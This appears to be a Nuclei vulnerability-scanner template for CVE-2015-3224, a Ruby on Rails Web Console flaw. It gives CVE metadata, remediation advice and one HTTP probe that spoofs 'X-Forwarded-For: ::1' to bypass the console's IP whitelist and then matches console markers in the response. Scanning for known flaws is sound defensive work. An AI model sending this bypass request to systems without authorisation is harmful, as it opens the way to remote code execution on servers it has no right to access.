nuclei-templates/http/cves/2015/CVE-2015-3224.yaml

57 lines
2.1 KiB
YAML

id: CVE-2015-3224
info:
name: Ruby on Rails Web Console - Remote Code Execution
author: pdteam
severity: medium
description: Ruby on Rails Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request to request.rb.
impact: |
Remote code execution can lead to unauthorized access, data breaches, and complete compromise of the affected system.
remediation: |
Upgrade to a patched version of Ruby on Rails or disable the Web Console feature.
reference:
- https://www.metahackers.pro/rails-web-console-v2-whitelist-bypass-code-exec/
- https://www.jomar.fr/posts/2022/basic_recon_to_rce_ii/
- https://hackerone.com/reports/44513
- https://nvd.nist.gov/vuln/detail/CVE-2015-3224
- http://lists.fedoraproject.org/pipermail/package-announce/2015-June/160881.html
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2015-3224
cwe-id: CWE-284
epss-score: 0.94661
epss-percentile: 0.99077
cpe: cpe:2.3:a:rubyonrails:web_console:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: rubyonrails
product: web_console
tags: cve2015,cve,ruby,hackerone,rce,rails,intrusive,rubyonrails
http:
- method: GET
path:
- "{{BaseURL}}/{{randstr}}"
headers:
X-Forwarded-For: ::1
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Rails.root:"
- "Action Controller: Exception caught"
condition: and
- type: word
part: response
words:
- X-Web-Console-Session-Id
- data-remote-path=
- data-session-id=
case-insensitive: true
condition: or
# digest: 4b0a00483046022100cf776e65388d9e9c4358e26046d1a1747a1eda32c669866f6a63e31d25120bb0022100c4f6928240dbce151613e01429fabc31536eaad3fd90e341935d642ccaf387ad:922c64590222798bb761d5b6d8e72950